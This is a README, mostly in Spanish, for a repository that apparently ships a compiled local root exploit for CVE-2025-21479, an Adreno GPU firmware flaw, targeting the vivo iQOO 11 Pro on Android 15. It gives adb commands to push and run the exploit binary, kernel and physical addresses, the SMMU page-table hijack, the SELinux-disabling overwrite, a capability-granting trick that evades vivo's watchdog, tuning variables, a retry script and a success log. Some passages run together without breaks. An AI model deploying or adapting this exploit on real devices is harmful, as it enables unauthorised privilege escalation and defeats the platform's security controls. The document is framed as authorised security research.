
CVE-2025-21479 (Qualcomm Adreno GPU) notas de reproducción para vivo iQOO 11 Pro (PD2254) - investigación autorizada
Investigación de seguridad autorizada en dispositivos propios. CVE-2025-21479 es una vulnerabilidad de la GPU Qualcomm Adreno, pública, ya corregida (2025-08) e incluida en la lista CISA KEV. Este documento registra el proceso completo y la entrega final de la reproducción del root temporal en el iQOO 11 Pro.
and $04, $12, 0x3 del firmware v675 (la versión corregida usa 0x7), que permite que el flujo de comandos en modo usuario omita las comprobaciones de permisos, ejecute operaciones privilegiadas de la GPU (secuestro de las tablas de páginas de la SMMU) y, finalmente, obtenga lectura/escritura arbitraria de memoria físicaEl firmware de Android 16 (16.3.10.1) ya está corregido; esta reproducción solo es aplicable a Android 15 (15.2.12.2).
a740_sqe.fw del paquete OTA completo: 75.380 bytes; la búsqueda del patrón de instrucción vulnerable 0300 422a (and $04,$12,0x3) encontró 3 coincidencias → sin corregir_text=0xffffffc008000000, _stext=0xffffffc008010000, swapper_pg_dir, selinux_state, init_task_stext físico está fijado en 0xa8010000 (PHYS_OFFSET=0xA8000000, diseño estándar de SM8550); en el lado VMLINUX se verifica 0xffffffc008010000swapper_pg_dir / init_task / selinux_state se sustituyen por los valores de A15selinux_state.enforcing=0. Se ha verificado que el kernel A15 de PD2254 incluye CONFIG_SECURITY_SELINUX_DEVELOP=y (los símbolos sel_write_enforce/enforcing_setup existen en kallsyms), y enforcing_enabled() lee el campo en tiempo de ejecución → la escritura surte efecto y getenforce muestra Permissive0xfebeb000 + candidatos adyacentes en 2-4 GB + dispersión en la zona alta de 5-11 GB → la tasa de acierto mejora drásticamenteRegistro de éxito (primera ejecución; el dispositivo estaba inicialmente en Enforcing; se siguió la ruta de escritura física de enforcing):
phyaddr: 0xfebeb000 (attempt 1/27) # spray 候选命中
GPU R/W ready # 任意物理读写建立
found _stext at 0xa8010000 # KASLR 泄漏(扫描路径;显式 CHEESE_STEXT_PA 时无此行)
FW symbols resolved
stext = 0xa8010000 # 物理 _stext = VA - 0xffffffc000000000 + 0xA8000000
SELinux enforcing overwrite verified (readback=1 enforce=0)
self creds: full caps granted (uid=2000 kept, watchdog dodge)
root shell (uid=2000, full caps kept)...
Si se ejecuta una segunda vez en la misma sesión (SELinux ya está en modo permisivo), esa línea cambia a
SELinux already permissive.
# 设备刷入 Android 15 (15.2.12.2) 后:
adb push cheese /data/local/tmp/
adb shell chmod 755 /data/local/tmp/cheese
adb shell CHEESE_STEXT_PA=0xa8010000 /data/local/tmp/cheese
# 完成后当前 adb shell 会话即为 root shell(uid=2000 + 全 caps),SELinux 宽容模式
Variables de entorno:
Reintento automático: bash cheese_auto.sh (se ejecuta en bucle, detecta reinicios sin conexión y guarda los registros en disco).
vr.ko de vivo mata los procesos con uid=0 y el módulo se auto-oculta; no se ha implementado persistencia ni integración con KernelSU (los módulos de KernelSU no se pueden cargar con insmod porque el kernel no exporta los símbolos; ver apéndice)cheese: artefacto compilado (ELF de Android aarch64, NDK r28; entrega en binario, código fuente no público)cheese_auto.sh: script de reintento automáticoREADME.md: este documentolib/modules/5.15-gki/vr.ko dentro de vendorboot.img (389 KB)Este repositorio se utiliza únicamente con fines de investigación y educación en seguridad; todas las pruebas se han realizado en dispositivos propios del autor. Úselo únicamente dentro del ámbito de la autorización legal; el usuario asume todos los riesgos.
| Campo | Valor |
|---|
| Dispositivo | vivo iQOO 11 Pro (PD2254 / V2254A) |
| Sistema | Android 15, PD2254B_A_15.2.12.2.W10 |
| Kernel | 5.15.178-g3dc7c01077b8-dirty |
| SoC | Snapdragon 8 Gen 2 (SM8550 / kalama) |
| GPU | Adreno 740, firmware a740_sqe.fw v675 (versión vulnerable) |
vr.koPR_SET_KEEPCAPSSECBIT_KEEP_CAPSCHEESE_ZERO_IDS=1 usa la ruta antigua (pone el uid a cero; vivo lo mata, solo para depuración)| Elemento verificado | Resultado |
|---|
getenforce | Permissive |
/sys/fs/selinux/enforce | 0 |
| Capacidades del proceso | CapEff=ffffffffffffffff (conjunto completo de capacidades) |
| Shell root | Entra en sh; insmod y lectura/escritura de archivos arbitrarios disponibles |
| Variable | Función |
|---|
CHEESE_STEXT_PA | Especifica la dirección física de _stext (por defecto 0xa8010000; si la verificación falla, vuelve automáticamente al escaneo) |
CHEESE_ATTEMPT | Especifica el índice de la dirección física candidata |
CHEESE_ROUNDS | Reintento automático en varias rondas |
CHEESE_NO_RETRY | Desactiva el reintento automático |
CHEESE_ZERO_IDS | Al ponerlo a 1, pone también el uid/gid a cero (comportamiento antiguo; activa el watchdog de vivo, solo para depuración) |
ROOT_CMD | Ejecuta directamente el comando especificado tras la escalada de privilegios (en combinación con la ruta de parche en frío cap_capset) |